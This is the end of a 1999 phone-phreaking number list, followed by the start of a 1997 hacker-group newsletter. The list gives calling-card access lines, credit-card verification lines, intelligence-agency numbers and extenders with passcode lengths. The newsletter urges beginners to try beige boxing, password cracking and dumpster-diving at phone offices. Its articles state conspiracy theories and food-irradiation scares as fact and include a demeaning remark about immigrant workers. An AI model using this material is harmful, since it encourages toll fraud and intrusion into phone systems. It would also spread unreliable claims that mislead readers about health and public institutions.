+------------------------------------------------------------------------------- + +1-800-234-1998 Digital Equipment Corp. Electronic Store. (Online Shopping) +1-800-234-6245 MCI (USA) +1-800-283-5474 Okidata (inside joke!) +1-800-346-3247 CompuServe. +1-800-368-7244 AT&T Information Access Services SignOn/Pwd (USA) +1-800-368-7247 AT&T Information Access Services SignOn/Pwd (USA) +1-800-444-8697 RTK-NET. +1-800-604-6245 Digital Equipment Corporation. +1-800-624-5123 AT&T STATION ID - C2/34.11 Canada 2 Datakit. +1-800-692-8872 (1-800-MY-ATT-PC) NCR Global Support Center BBS. (3 lines) +1-803-939-8207 NCR Global Support Center BBS. (9 lines) + +(Use the N-8-1 setting to connect to the carriers above.) + + +------------------------------------------------------------------------------- + Cellular, PCS and Paging Services: +------------------------------------------------------------------------------- + +1-800-214-4488 Wireless Solutions Hotline. +1-800-222-8466 Cellular Rentals. +1-800-263-7536 Nokia Mobile Phones. +1-800-264-2355 (1-800-ANI-BELL) Cellular South Answer Center. +1-800-274-3127 MobileCom's National Customer Service Center. +1-800-276-2355 Frontier Communications Customer Service. +1-800-374-2355 InterCall. +1-800-374-2776 Ericsson Mobile Phones Customer Care Center. +1-800-405-6543 American Mobile. +1-800-411-2355 Car Phone Store. +1-800-432-2355 Air Touch Paging. 1-800-6AIR-TOUCH Air Touch Paging Canada. +1-800-438-2355 Kentucky Cellular. +1-800-452-2355 Appalacian Wireless. +1-800-460-2255 Pager Service. +1-800-474-2355 OmniCell Technologies Incorporated. +1-800-481-2355 ATI Cellular. +1-800-483-5010 Cellular Express. +1-800-488-2355 Cellular 2000. +1-800-496-2355 Nationlink. +1-800-518-2355 CellToys International. (Cellular, PCS, accessories etc.) +1-800-549-2355 Advanced Cellular and Paging. +1-800-590-2355 ATI Cellular. +1-888-638-2355 Cantel AT&T. +1-800-613-2355 Cellular Unlimited. +1-800-638-2355 Comcev Cellular Communications. +1-800-667-2355 SouthTel Mobility. +1-800-667-7243 Cantel AT&T Paging. +1-800-673-2355 Quintex Cellular. +1-800-705-2355 OmniCell Technical Department VMS. +1-800-706-2355 Paging Service Center. +1-800-724-2355 AllCell Rentals. +1-800-742-2355 Mobile Media. +1-800-759-2355 Plymouth Bell Laboratories. +1-800-765-2355 Isralink Communications. (Israel Cell phones) +1-800-794-2355 Advantage Communications Systems. +1-800-806-2355 Advantage Paging. (I believe it's Bell Advantage) +1-800-821-2355 MobileCom. +1-800-854-2355 MobileCall accounts. +1-800-866-2770 MobileCom. (pager service) +1-800-866-7000 MobilCom. +1-800-871-2355 The Phone Man. (I'm fucking serious... Haha) +1-800-872-6222 American Mobile Satellite Communications Products. (U.S. only) +1-800-874-6387 Trellis Communications. +1-800-887-2255 Trellis Premier Voice Mail and Paging. +1-800-926-2355 Ubet Wireless. +1-800-980-2355 Light Cellular. +1-800-999-6500 Cable and Wireless Customer Care Center. +1-877-948-4968 (1-877-WITH-YOU) Frontier Cellular. +1-877-CELLPHONE Travel Phone (Cellular phone company) +1-877-WIRELESS Cellular Depot. +1-888-229-4443 Cantel AT&T Canada. +1-888-300-2355 Consolidated Wireless Corporation. +1-888-444-2355 Maricell Cellular. +1-888-481-FIDO Fido PCS Services. +1-888-593-2355 S&E Cellular. +1-888-638-2355 Cantel AT&T. +1-888-694-2355 Corporate Communications at AirTouch Customer Service. +1-888-801-2355 Cell Phones and Accessories. +1-888-877-2355 Comcev Communications. +1-888-879-2355 Portable Communications. (The home of the Phone Man) +1-888-901-2355 Digital Communications. +1-888-902-2355 NewTech Wireless. (Paging, cellular, equipment, etc.) +1-888-968-2355 Everything Wireless. +1-888-999-2355 Downtown Wireless. +1-888-CELL-BOOK CellCom and PageCom. +1-888-PSI-NET1 PSI Net Limited. +1-888-PSI-NET2 PSI Net Limited. +1-888-WIRELESS Page USA. + + +------------------------------------------------------------------------------- + Free Disks: +------------------------------------------------------------------------------- + +1-888-265-4357 (1-888-AOL-HELP) AOL Canada (only call for free 3«" AOL disks) +1-800-487-4838 CompuServe. +1-800-776-3449 Prodigy. +1-800-777-9638 Sprynet - Gives you two disks. +1-800-786-7638 SunSoft - Free 30-day evaluation disk. (press 1) +1-800-827-6364 America Online. + + +------------------------------------------------------------------------------- + Calling Cards: +------------------------------------------------------------------------------- + +1-800-213-0304 Talk `n Toss Calling Card. +1-800-213-4222 Calling Card. +1-800-265-3121 Prepaid LD. +1-800-277-7468 Sprint Prepaid Calling (press 1) +1-800-279-6111 Unidial Calling Card. +1-800-393-0711 7-11 Calling Cards. +1-800-423-4343 AT&T Calling Cards (16 digit code) (automated) +1-800-437-6404 Champs Sports Calling Card (9 digit code) +1-800-444-3556 (1-800-HI-HELLO) Hello Direct. (Mail-order telphonics equipment, + pre-paid phone cards, etc.) +1-800-463-0004 Some calling card service +1-800-484-6245 MCI. (4 Digit Security Code) +1-800-560-6245 "Please enter your four digit Frontier Spectrum PIN." +1-800-572-6361 Pepsi Phone Card. +1-800-662-6214 AT&T Calling Cards. +1-800-674-6245 Musical Notes and then "Please enter your card number now." +1-800-674-7325 MCI Calling Card. +1-800-674-9997 MCI Calling Card. +1-800-225-5475 Smart Cards USA. +1-800-475-9105 Customer Service for pre-paid calling cards. +1-800-690-6245 "Please enter your four digit Frontier Spectrum PIN." +1-800-783-1414 Frontier Access Card. +1-800-811-3728 Globo Prepaid Phone Cards (10 digit codes) (automated) +1-800-814-2808 Sprint Prepaid calling card service. +1-800-827-8750 "Please enter your calling card number." +1-800-836-2255 "Press 1 for English, 2 for Korean. Enter your card number." +1-800-860-4444 Qwest Communications. (calling card calls) +1-800-864-7000 Premier World Link Access Number. +1-800-997-6245 Decoma calling card service. "Please enter your card number." +1-800-999-9000 TONE. "Please enter your MCI WorldCom card number now." +1-800-BCE-HELP Ideal Dial's Telecard Platform. +1-877-258-9088 Globo Prepaid Phone Cards Customer Service. +1-888-813-1426 Kokanee Talkin' Tag Phone Card (10 digit PIN) + + +------------------------------------------------------------------------------- + Teleconferencing: +------------------------------------------------------------------------------- + +1-800-225-5100 AT&T Corporate Teleconferencing. +1-800-225-5500 Teleconference Assistance. +1-800-225-5700 AT&T Teleconferencing. +1-800-232-1234 AT&T Teleconferencing. +1-800-235-0900 AT&T Teleconferencing. (Spanish and English) +1-800-255-5100 AT&T Teleconferencing. +1-800-255-5500 AT&T Teleconferencing. +1-800-369-1117 MCI Teleconferencing. +1-800-475-4455 Conference Calling Center. +1-800-475-6894 Quarrel Conferencing. +1-800-525-8244 Frontier Confertech. +1-800-544-6363 AT&T Alliance Teleconference Service (U.S.) +1-800-567-3678 Bell (Dis)Advantage Teleconference (Canada) +1-800-625-5288 Teleconference Playback Center. +1-800-827-1700 Conference Call USA. +1-800-886-2355 Frontier Teleconferencing. +1-800-900-6338 Advantage Conferencing Services. +1-800-925-8000 Conference America. +1-800-962-0044 Conf Call USA. + + +------------------------------------------------------------------------------- + Credit Card Verification: +------------------------------------------------------------------------------- + +1-800-228-1111 American Express. +1-800-228-1122 Credit Card Verification. +1-800-268-2530 Credit Card Verification. +1-800-268-8281 Royal Bank Authorization Centre for Visa Cards. +1-800-333-1337 Authorization Centre. +1-800-336-0220 Credit Card Service Bureau. +1-800-361-8370 National Bank Authorization Centre for Master Card. +1-800-528-2121 American Express Card. +1-800-555-1880 Fleet's Card Activation and PIN line. +1-800-556-5678 Bank number to report stolen bank cards. +1-800-561-5224 Credit Authorization Centre +1-800-796-2355 Card Services (Visa and Mastercard) +1-800-810-2355 Customer Service Center. +1-800-866-5000 National Credit Center. + + +------------------------------------------------------------------------------- + Canadian Security Intelligence Service (CSIS): +------------------------------------------------------------------------------- + +(204) 983-5405 CSIS in Winnipeg. +(306) 780-5512 CSIS in Saskatchewan. +(403) 421-5800 CSIS in Edmonton. +(403) 292-5255 CSIS in Calgary. +(416) 865-1480 CSIS in Toronto. +(418) 529-8926 CSIS in Quebec City. +(506) 452-3786 CSIS in Fredericton. +(514) 393-5600 CSIS in Montreal. +(604) 528-7400 CSIS in British Columbia. +(613) 993-9620 CSIS HQ in Ottawa. +(613) 998-1679 CSIS. +(709) 772-5449 CSIS in Newfoundland. +(902) 420-5900 CSIS in Halifax. +1-800-267-7685 CSIS (Ontario only) +1-800-564-0866 CSIS (Toronto region) +1-800-661-5780 CSIS (Alberta/Saskatchewan/Manitoba/Thunder Bay only) + + +------------------------------------------------------------------------------- + Non-Toll Free Extenders, etc. +------------------------------------------------------------------------------- + +(519) 651-2252 Extender (4 digit Client numbers and passcodes) +(519) 654-9000 Ability Telecom extender/diverter. (4 digit passcodes) +(519) 742-9621 Bell Canada VMS. +(519) 846-2255 Extender. (5 digit passcode) +(519) 895-2255 Extender. (5 digit passcode) + + +------------------------------------------------------------------------------- + Silent Lines, Test Lines and Strange Messages: +------------------------------------------------------------------------------- + +(403) 425-0052 Gives you Info about a Bell CO in Alberta. +(416) 690-4804 - Remote 44A (aka Bell Hut) (it's a switching center) +(423) 539-0001 Memorycall Access line. +(423) 588-9909 Memorycall Access line. +(423) 602-7811 Remote Call FWD Access. +(514) 391-1715 Wide Area Telephone Service (WATS) +(514) 391-4005 MDAR Trouble line. +(514) 481-1111 1khz tone. +(514) 481-1191 1Khz&Battery. +(514) 673-2111 Centrex (ASA) +(514) 786-6786 Control. +(514) 852-8686 Cables. +(514) 870-0200 CDE code MTL. +(514) 870-0669 CDE code MTL. +(514) 870-0704 CDE code MTL. +(514) 870-1252 DMS. +(847) 823-9995 Gives reading on the Bell CO, including alert and battery + conditions and temperature. Also allows you to check the sound + levels, allowing you to hear inside the CO. +1-800-200-0301 Test line (loud beep) +1-800-200-0302 Test line (loud beep) +1-800-221-0200 Siren Tones. +1-800-225-5122 "We are sorry but this program has not started. Thank you for + calling." +1-800-225-5300 "We are sorry but this program has ended and no further calls are + being taken. Thank you for calling." +1-800-225-5308 High pitched TONE. +1-800-225-5528 TONE. "Please enter the number you are calling." +1-800-225-5563 Ring+Silent line. +1-800-225-5871 High Tone then Dialtone. +1-800-356-2255 Dialtone. +1-800-361-8313 Bell Canada. "There is no service at this number." +1-800-465-7735 Strange Tones. +1-800-369-2255 Silent line. +1-888-374-2355 "You have entered an invalid telephone number." +1-800-430-7938 DMS. +1-800-444-1677 Siren Tones. +1-800-455-2013 Ring + Click then Trunk Busy signal. +1-800-455-7947 1 Ring then silent line. +1-800-475-2037 Siren Tones. +1-800-483-2276 No Ring + Trunk Busy signal. +1-800-483-2655 "We're sorry, we're unable to place a call from this number." +1-800-483-2933 Siren Tones. +1-800-483-9774 Ring + Trunk Busy Signal. +1-800-485-2255 Ring + Trunk Busy Signal. +1-800-522-2255 Dialtone. +1-800-555-1120 "We are sorry but this program has ended and no further calls are + being taken. Thank you for calling." +1-800-555-1220 Same message as 1-800-555-1120. +1-800-555-1226 Siren Tones. +1-800-555-2123 Tones. +1-800-555-2147 Ring + Trunk Busy signal. +1-800-555-2342 Dialtone. (PBX) +1-800-555-3585 Dialtone. (PBX) +1-800-555-3696 Silent line. +1-800-555-6690 Tone. +1-800-624-2255 "We're sorry. We're unable to place a call from this number. + Goodbye." +1-800-638-0156 Tones. +1-800-647-2255 "I'm sorry. We are no longer taking calls for this project." +1-800-827-0000 "You have entered an invalid telephone number..." +1-800-827-0011 "We're sorry, all circuits are now busy..." +1-800-827-3750 "You have dialed an invalid location." +1-800-827-7878 "You have dialed an invalid location." +1-800-861-9905 Loud Ring+Tones then "Thank you. Please hang up now." +1-800-862-6338 Blast of Noise. Some type of test line. +1-800-866-9317 High Tone +1-800-877-8000 Low Tone +1-800-898-2355 Silent line. +1-800-900-1302 Silent line. +1-800-900-2274 Silent line. +1-800-925-0288 "This is not a valid number." +1-800-959-9997 "Test 1, 2, 3, 4." message. +1-888-468-2355 "Due to technical difficulties we cannot record your message + at this time." +1-888-487-5346 L.E.G.O.S. +1-888-786-6786 Control. +1-888-871-2380 Waterloo Facilities. + + +------------------------------------------------------------------------------- + FAX-Backs: +------------------------------------------------------------------------------- + +1-800-222-9323 AMV FAX-Back +1-800-268-9100 Bell Canada 1-900, 976, Info Line (2,1,2,AC,NUM,#,#) +1-800-282-2000 Phillips (1,2,6,AC,NUM,#,1,#) +1-800-323-6586 Tandy Retail Services FAX-Back. (order Tandy docs!) +1-800-345-1518 Compaq Computer PaqFax +1-800-365-0696 Genecom Corporation FAX-back service. (Digital Printer Support) +1-800-368-9673 Hewlett-Packard Information Storage Quick Fax (1,2,AC,NUM,1,2,) +1-800-380-0030 Diamond (2,2AC,NUM,#,1,AC,NUM,#,1) +1-800-443-1254 HP Portable Products (5,5,5,#,3,2,2,2,1#AC,NUM,#,1,#,) +1-800-446-6212 Analog Fax (2,1,0,AC,NUM,1,AC,NUM,#,1) +1-800-451-2100 Lucent Technologies Main number (get product info by FAX). +1-800-483-2495 Central FAX on demand system. (FAX-Back) +1-800-521-2846 Brother FAX-Back (they make fax machines and typewriters) +1-800-522-6752 Amp Fax (1,8,90,#,#,AC,NUM,#,#,AC,NUM,#,#,#) +1-800-525-3019 Intel (1,1,3,2,AC,NUM,1,#) +1-800-722-4786 Sun Microsystems Service Canada (1,2,4,1,AC,NUM,#,1) +1-800-727-3351 Micro$oft Sales FAX Service Line. (press *,1,1,AC,NUM,#,5,0) +1-800-822-4269 Borland Tech-Fax Document Retrieval System (3,2,1,AC,NUM,#,1,3,1) +1-800-827-3000 Elite Group (press 1 for Fax-back) +1-800-832-4778 Western Digital Fax Access (2,1,1,1,AC,NUM,#,1,AC,NUM,#,1) +1-800-832-6328 Ameritech Team Data Support Center (press 6,2,1,2,AC,NUM,1) + (pressing 6 transfers you to the Ameritech Team Data Information + Server which you can use to obtain telco info via FAX-Back) +1-800-872-4786 Sun Microsystems Service United States (2,4,1,AC,NUM,#,1) +1-800-879-8632 US West News line. (U.S. only) +1-800-943-8329 Integrated Device Tech (1000,1,3000,1,#,AC,NUM#,1,#) +1-800-IBM-4FAX IBM FAX Information Service. (3,1,0,1,1,1,AC,NUM,#,1,1) +1-800-SKY-USER SkyTel Customer Service. (press 3 for FAX on demand for docs) +1-888-322-8444 Hartford Shareholders News & Info FAX-Back (3,1,AC,NUM) + + +-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- + +Final Notes: + +If you'd like to contribute to the Damage, INC. Phreaky Field Phreaking List, +discover any dupes, numbers that are no longer in service or ones that have +been misidentified, please notify us in Email at damage_inc@dope.org and report +the error. That way the addition/correction can be made for all subsequent +editions. The list is updated and released on a quarterly basis. So, if you +send numbers your alias will be listed in the next edition, which we expect to +release in the Fall of 1999. + +Thanks go out to the following people (in no particular order) for their +contributions to this list. It's a large, ongoing project that wouldn't exist +without their support, and we appreciate the efforts that they've made towards +this compilation of numbers. If you contributed in some way but were neglected +to be mentioned, then contact Damage, INC. and notify us about the oversight. + +Contributors: + +THC Phreak, BLACKENED, Shatazar, Helena3, Breaker, x25lurker, Tobias, Nevada, +Fringe, , Syko416, Lord Narayana, 1dot1, Overflow Trap, Fatal Vision, +Voyageur514, Silent Sentry, L00pster5, Phearless One, The Clone, Loud Ton3y, +Cultist, The Pusher, Gerfalcon, Jackal, Anarchist613, Betsi.ÿÿÿÿ + +It was created, scanned, compiled, verified and distributed by phreaks, for +phreaks. And in addition to that, it's damn phreaky. Have phun... and look +for more releases courtesy of Damage, INC. and Blamerica Phreaky Industries. + +- Blackie Lawless + + Copyright 1999 by Damage, INC. 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NEWSLETTER. + +BIG BROTHER BASHING - GOVERNMENT CONTROL AND CORRUPTION IN OUR SOCIETY. + Search String: {BIG BROTHER} + +CONSPIRACIES AND COVERUPS - THE GULF WAR SYNDROME COVERUP...EXPOSED. + Search String: {COVERUPS} + +CORRUPTION AND GREED - BURGER KING AND HUDSON FOODS...A LETHAL COMBINATION. + Search String: {GREED} + +H/P INFORMATION AND NEWS - MOTIVATIONAL NEOPHYTE BLURB. + Search String: {NEWS} + +INTERVIEWS AND INTERROGATIONS - A SPECIAL INTERVIEW WITH THE JOURNALIST. + Search String: {INTERVIEWS} + +OBJECTIVE OPINIONS - ONTARIO HYDRO...A MELTDOWN WAITING TO HAPPEN. + Search String: {OPINIONS} + +REPORTS FROM THE FRONT - WINDOWS NT LIES. + Search String: {REPORTS} + +SOURCE AND SCRIPTS - THE NWO TROJAN BY DAMAGE, INC. + Search String: {SOURCE} + +THE JOURNALIST'S TOP TEN LIST - PRANKS TO PULL AT SCHOOL. + Search String: {TOP TEN} + +CLOSING COMMENTS - BLACKENED'S EXPLOSIVE CLOSING COMMENTS. + Search String: {CLOSING} + +ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ + + +INTRODUCTION: The Damage, INC. Newsletter was created for several important + purposes. We want to use this medium as a weapon to fight the + corruption that exists, reveal conspiracies and coverups, give + useful information to those in the h/p scene. We hope that our + articles are not only informative, but also interesting. If we + can achieve our goals and make the Damage, INC. Newsletter an + entertaining and thought provoking source of reading, then this + great undertaking will be worthwhile. This is the first issue + of what will become a monthly newsletter that is very unique. + Everything that is written will contain the opinions expressed + by members of Damage, INC. as well as writers that contribute + articles that they've written. Integrity, honour and truth are + very important to us. Thus, every aspect of the Damage, INC. + Newsletter will reflect those strong beliefs. We cannot be + bribed or bought off and we don't make deals with anyone. We + aren't seeking fame, profit or anything else. Therefore, you + can trust the unbiased, truthful words that are written here. + Damage, INC. isn't affiliated with any other groups. The words + that we speak are our own. Our word is more than just our + reputation, it's everything to us. We want the Damage, INC. + Newsletter to prove itself to be a reliable source of useful + information. Of course, it's up to the readers to decide for s + themselves whether or not they think what we release is quality. + + +{BIG BROTHER} BASHING - +Government Control and Corruption in our Society: + + If you have read the book 1984 by George Orwell, you will immediately +recognize the phrase "Big Brother." You have to ask yourself then, how far +is our current society from that state? I asked myself this exact question, +and my answer? Not that far, if we continue on the way things are going. + Canada is not as bad as the United States, but calling us "the 53rd +state" is a pretty close comparison. And I must say, things have improved +in the 1990's. Equal rights are an important social advancement, and I am +glad to see a step in the right direction. All praise aside, I think its +time to expose what's really going on... + Supposedly we live in a "Democracy". + HAHAHAHHAHAHAHA. + I need convincing. Let's face it, "by the people, of the people, for the +people" is a crock 'a' shit. Government looks out for government first, then +the good of society. Ever heard of Watergate? It's just the biggest +government coverup in the twentieth century. Ever wonder about the Vietnam +War? Now why exactly did Washington send thousands of soldiers to kill +millions of citizens? We can never know. Let me tell you about the Black +Panthers - A radical negro rights group in the 1960's. The Local law +enforcement gave them so much trouble, they eventually fell apart. Despite +the fact that they broke no laws, hurt nobody, just wanted to be treated +the same. And just how did "the man" control these outbreaks? They flooded +the Ghetto with extremely pure, "china-white" heroine, at dirt-cheap prices. +If you want proof, watch the news, any channel, at 6:00pm. Murder rate up +7% since last year. "Just another homicide". It's no bullshit, the ghetto +warzone was created by none-other than your local government. + And then of course, there's the CiA LSD experiments in the 1960's. +Making subjects stay up for 40 days at a time, tripped out 24/7. Asking +themselves, "so, I wonder how much Acid this guy can take before he goes +clinically insane." Nobody knew about these experiments though. The +families were bought out, or threatened; the subjects themselves were all +eventually admitted to mental institutions. It's scary. + And these are just ones I'm thinking of off the top of my head. There +are many more documented in books and film. Mel Gibson's latest flick +"Conspiracy Theory" is Hollywood's way of showing the Film-going public what +really goes on behind closed doors. Blackened talks about Government +coverup in war-time situations in this issue. + This is a taste of the current political situation. In every aspect, +Politics has some underhanded connection in it. Whether it's kickbacks +to the Mafia, or deals made with Hells Angels. From the health-inspector +who takes bribes, to the Tax Auditor who embezzles funds, the fabric of our +Government is woven with Fraud. Corruption is so heavily entrenched in +the current political system, I believe things will not get better if we +don't do something about it. The outcome if we don't??? + Collapse. +Total and utter, political, economic, social collapse. But that is at the +end. Because If we let things continue the way they are, you will be +praying at night for the collapse. The end. Please God end this Hell. +That will be your prayer. And they'll hear it. Because "they'll" have +technology that can hear everything. One for each block. They'll justify +it by claiming it reduces crime, being able to listen in on anybody, at +any time. I heard the other day that private companies d/l all newsgroup +and public messages from the internet, and log them. They keep massive +storage/retrieval systems on every word that get's published on the news +groups. How much do you want to bet that CIA or FBI search those databases +for "suspicious" discussion? We'll never know. + This newsletter is intended to open your eyes. This article was written +in the hopes that you will not believe everything "your government" tells +you. The way I see it, it's US against THEM. + +(c)1997 written by The Journalist 04/09/97 + + +CONSPIRACIES AND {COVERUPS} - +THE GULF WAR SYNDROME COVERUP...EXPOSED: + +The Central Intelligence Agency (CIA), Department of Defense (DOD) and top +brass of the American Military are all involved in an immense coverup. That +includes the former President of the United States, George Bush. He was the +Commander in Chief at the time of the Gulf War. Bush also happens to be an +ex-CIA director. Former military leaders such as Colin Powell, Norman +Schwartzkopf and possibly others were involved in the massive coverup as well. +President Clinton has formed a committee that's supposed to investigate the +"Gulf War Illness" but nothing productive will result from it. The proof is +that one member has already been removed for trying to get CIA and DOD top +secret documents de-classified to show that troops were exposed to chemical and +biological weapons. Therefore, Bill Clinton is also part of the coverup since +he has said and done nothing but setup a fixed commission. Clinton knows the +truth but he isn't going to reveal it. + +According to an ex-CIA member, the Gulf War Syndrome was caused by chemical +and biological weapons that American and other coalition troops were exposed +to during the war. By his latest estimates, over 100,000 U.S. troops alone +were affected and are still suffering. The CIA promptly fired him and tried +to silence him by giving out his name, address, unlisted phone numbers and +social security number. + +Saddam Hussein *did* unleash powerful chemical and biological weapons. In +fact, some of the "harmless and inaccurate" SCUD missiles were armed with +them. During some of the SCUD attacks, major damage was done and wasn't +reported. As in, yellow rain (first used in Vietnam and Afghanistan by Russia) +burned the skin of troops after a SCUD exploded near their location. Many +areas were targets of these deadly, poisonous attacks. Saudi Arabia, Kuwait +and certain areas of Iraq are all known to be places where troops saw and +experienced strange things. For example, they were instructed to destroy +thousands of bombs that were seized. Unfortunately, they weren't told to wear +protective gas masks and clothing. They weren't warned of the dangers involved +with destroying those types of weapons. Actually, they were told nothing but +just expected to perform the duty and serve their country. Meanwhile, there +were disposal trenches and vehicles outside the buildings that were marked +Biological Hazard etc. Safe methods weren't used to dispose of the chemical +and biological weapons though. That's the reason why thousands of soldiers +are sick today, years after the conflict ended. + +The CIA's involvement is vast. They were directly involved and worked closely +with the Department of Defense (DOD) to coverup the evidence and deny the fact +that troops were exposed to any chemical or biological weapons. They even +denied knowing anything about the situation. They claimed to have absolutely +no knowledge about those weapons being used in the Gulf War. Meanwhile, they +have documents that contradict their own statements. The CIA is a corrupt +organization that is built upon lies and coverups. That's how they've done +business throughout their entire history. Basically, the CIA is more concerned +with their own interests than that of the people they are supposed to protect. +They made deals with the Department of Defense. Meanwhile, that is a conflict +of interest. The CIA should be keeping track of what the DOD does, instead of +covering their negligent asses for them! + +Troops from many nations are still suffering from the Gulf War Syndrome. Many +ground soldiers from the United Kingdom, France, Saudi Arabia and other +countries have shown the same symptoms as American troops. They're being told +by doctors at Veteran's hospitals that it is all in their heads. It is now +September 1997 and still nobody will admit the truth about what actually +occurred during the Gulf War. In order to cure the disease and illnesses caused +by biological weapons, you must first know what troops were affected, where they +were on duty, what weapons were involved in the attack or during the destruction +process etc. Until that happens, soldiers that served their countries in the +Gulf War will continue to suffer the severe lifelong consequences. Personally, +I find it to be a sickening example of the extent that governments will go to +coverup documented events. It's a real tragedy that has continued long after +the actual battle has ceased. That's the real legacy of the Gulf War. So, +before you think about the victory and laugh at the defeat of Iraq and Hussein, +consider for a moment the conspiracy and great coverup in the aftermath. + +(C)opyright 1997 Written by Damage, INC. + + +CORRUPTION AND {GREED} - +BURGER KING AND HUDSON FOODS...A LETHAL COMBINATION: + +Burger King's main supplier was Hudson Foods (a huge American meat company that +recently recalled millions of pounds of beef). Last week, Hudson Foods sold +their Columbus, Nebraska plant to Tyson Foods. The processing plant was the +main beef division for Hudson Foods. Recently, NBC's Dateline reported on +the situation. They spoke with former Hudson employees, and were told several +shocking stories describing the types of activities that went on at the plant. +USDA (U.S. Department of Agriculture) inspection tags that pointed out problems +with meat were *removed*, which is a criminal offence. Ground beef that fell +onto the floor was used in the making of hamburger patties. "Keep production +going!" was their only slogan. Greed and profit drove Hudson Foods to put +the health of every customer at risk. They were so corrupt, the management +forced employees to change reports that they'd written. In case you aren't +aware, meat has to be transported, stored and shipped out after processing at +a low temperature to prevent bacteria from growing. Well, Hudson Foods would +not allow employees to record temperatures that were too high. Normally, meat +should be kept at 34 degrees or lower. Meanwhile, meat at Hudson Foods was +consistently above that...sometimes 44 degrees or even warmer. So, they'd tell +the employees to probe for a cold spot. If that failed, they'd do anything to +influence them into writing down a lower temperature. That can have deadly +consequences. Former Hudson employees also reported that it was almost +impossible to keep up with the demand from customers, mainly Burger King. + +This week, Burger King introduced a new hamburger called the "Big King" in an +attempt to compete with McDonald's Big Mac. Who is their new supplier? How +are they going to be able to supply even more hamburgers to Burger King? Can +we trust the food that we pay for and consume? As customers of fast food +chains, should we question whether or not the food is tainted and contaminated? +Is there any type of protection in place to safeguard consumers? Have you ever +heard the term E. Coli used before? If not, continue to read this article and +Damage, INC. will educate you by giving you the cold, harsh facts. + +FOOD RADIATION: + +After Hudson Foods tainted beef scandal has been exposed, there is a renewed +interest in food radiation. When food is irradiated, supposedly any E. Coli, +Salmonella and other micro-organisms in the food product are killed. Instead +of using good meat handling practices, the quick and easy way out is food +radiation. The term "radiation" conjures up all kinds of images. To readers +that haven't heard of E. Coli, it's a lethal form of bacteria that is common in +animal and human waste. + +According to a scientist interviewed on CBC Radio, food has been irradiated +for over 40 years, and is a common practice in 40 countries. The scientist +also claimed that the United States and Canada use the technology in a limited +capacity. They supposedly only irradiate imports from other countries like +tropical fruits, spices, etc. I seriously doubt that. I believe they also +irradiate domestic foods in Canada and I'll stand by those words. + +The World Health Organization, and the American Medical Association have +already endorsed the practice of food radiation. However, the DOA (Department +of Agriculture and FDA (Food and Drug Administration) are stalling because of +what is viewed as "the public's notion that radiation is harmful... that they +are fearful of the word radiation." The FDA commented that the practice would +be unacceptable to consumers because of their fear. Why should we trust them? +Do you want to ingest food that's been radiated? I definitely don't. During +the 1950s atomic bomb tests, scientists claimed radiation levels were safe +enough for American troops to be directly exposed to at close range. Should +we now believe that food radiation is completely safe? Haha! Radiation can be +a deadly weapon. Don't be naive. Don't allow them to brainwash you by saying +that it isn't harmful. How could radiation be good for you? What's next? +Perhaps they'll want to add poison to our food supply in order to kill other +forms of bacteria. + +The main purpose of the technology is to kill any molds and funguses that +are in the food product. (Should moldy meat be used in the first place?) +Setting up the technology is expensive, but the scientist claimed that most of +the big meat packers could easily afford it. Hudson Foods could've easily +afforded it, since they would bus in homeless drug addicts from New York City +and Mexican immigrants to work at their meat processing plant. Now that's what +I call a cheap labour force. Can employees such as that be trusted to handle +food properly? I think not. They didn't even test meat in the plant's lab. +They used the excuse of being too overloaded with orders from Burger King. At +any rate, food radiation shouldn't be the solution. It's all about greed and +making huge profits. Food safety is the last priority and totally ignored. + +The food radiation process is as follows: + +First, the meat is examined with all of the current methods. Second, the +meat is cleaned, and processed (cut into retail cuts of meat, packaged, +etc.). Then they are dropped onto a conveyor belt and sent to a "shielded" +part of the plant. The food is then exposed to intense gamma rays. That is +correct, gamma rays. The same gamma rays that turned the Incredible Hulk +green! The process takes time, so the meat is exposed more than just a few +seconds. The gamma radiation supposedly breaks down the DNA of the offending +micro-organism, rendering it unable to reproduce. When the life cycle of +the existing micro-organism has ended, the scientist said that the offending +organism (like E. Coli) is gone, unless the meat is put into conditions where +the micro-organism thrives. In other words, the meat can still become tainted +if it's improperly handled and stored at the wrong temperature. What happens +if it's exposed to gamma rays for an extended duration? The workers are bound +to make mistakes and errors always happen eventually. + +NBC and CNN interviewed farmers that supplied Hudson Foods with beef. They +admitted on television that they feed their cattle chicken shit, sawdust, +dead dogs, cats and wild animals (roadkill) that they find on the side of the +road near their farms. Basically, their feed consists of *anything* except +grain. Burger King has yet to disclose the name of their new meat supplier. +I wonder why? Yet, they've started an advertising blitz for the "Big King" +burger to divert the media attention away. It's business as usual for that +fat cat corporation. As the saying goes, shit in and shit out. If you feed +the cattle chicken shit, what do you think the burgers are going to contain? +Their famous Whopper should really be called a Plopper. Haha. If you want to +eat shit and die, have it your way right away at "Burger" King. The next time +you're at Shit King... standing at the counter and ready to order...do yourself +a big favour and think about this article. ;) As a consumer, you have to be +responsible for your own health and protection. Don't believe, trust and rely +on the government or any fat cat companies. They're greedy, corrupt and don't +care how many people become sick and die from E. Coli etc. + +(C)opyright 1997 Written by Damage, INC. + + +H/P INFORMATION AND {NEWS} - +Motivational Neophyte Blurb... + + So obviously you're reading this because you want something more out of +the (519) BBS scene. Warez just don't do it for you. Play one game, you've +played them all right?. Plus, you can't really put "I played a lot of pirated +video games" on your resume now can you?. + My name is The Journalist. I have been BBS'ing for over 4 years. Not +that long, but longer than most. I have watched the quality of users and +BBS's deteriorate like a snowman on a sunny day. I'm not saying things are +lame now. Far from it. There just seems to be a major lack of leaders. +You know, people like me :) People who go out of their way to make BBS-Land +a better place. Now, what I'm saying here is, things are gonna change +around here. Not because I say so, but because *you* want them to. C'mon, +can you say that you have experienced the thrill of beige boxing? The +satisfaction of breaking a password? These things are still entirely +possible. One comment I hear all too often is "... but all those text files +are written for like 20 years ago." BULLSHIT! It's just a little harder +because now you have to sift through the shit to get the good stuff. I'll +tell you now, most boxes don't work, because The phone company got wise and +made it harder to get free calls. But that doesn't mean shit. Go to a bell +office, and do some trashing. You might find some interesting stuff, +you might not. But it was fun right? + One point I want to get across is that the h/p scene has evolved. +Not anymore is it just about getting an extender or hacking a system. +It's about being on the frontier of the information age. +Think about that. +The *information* age. 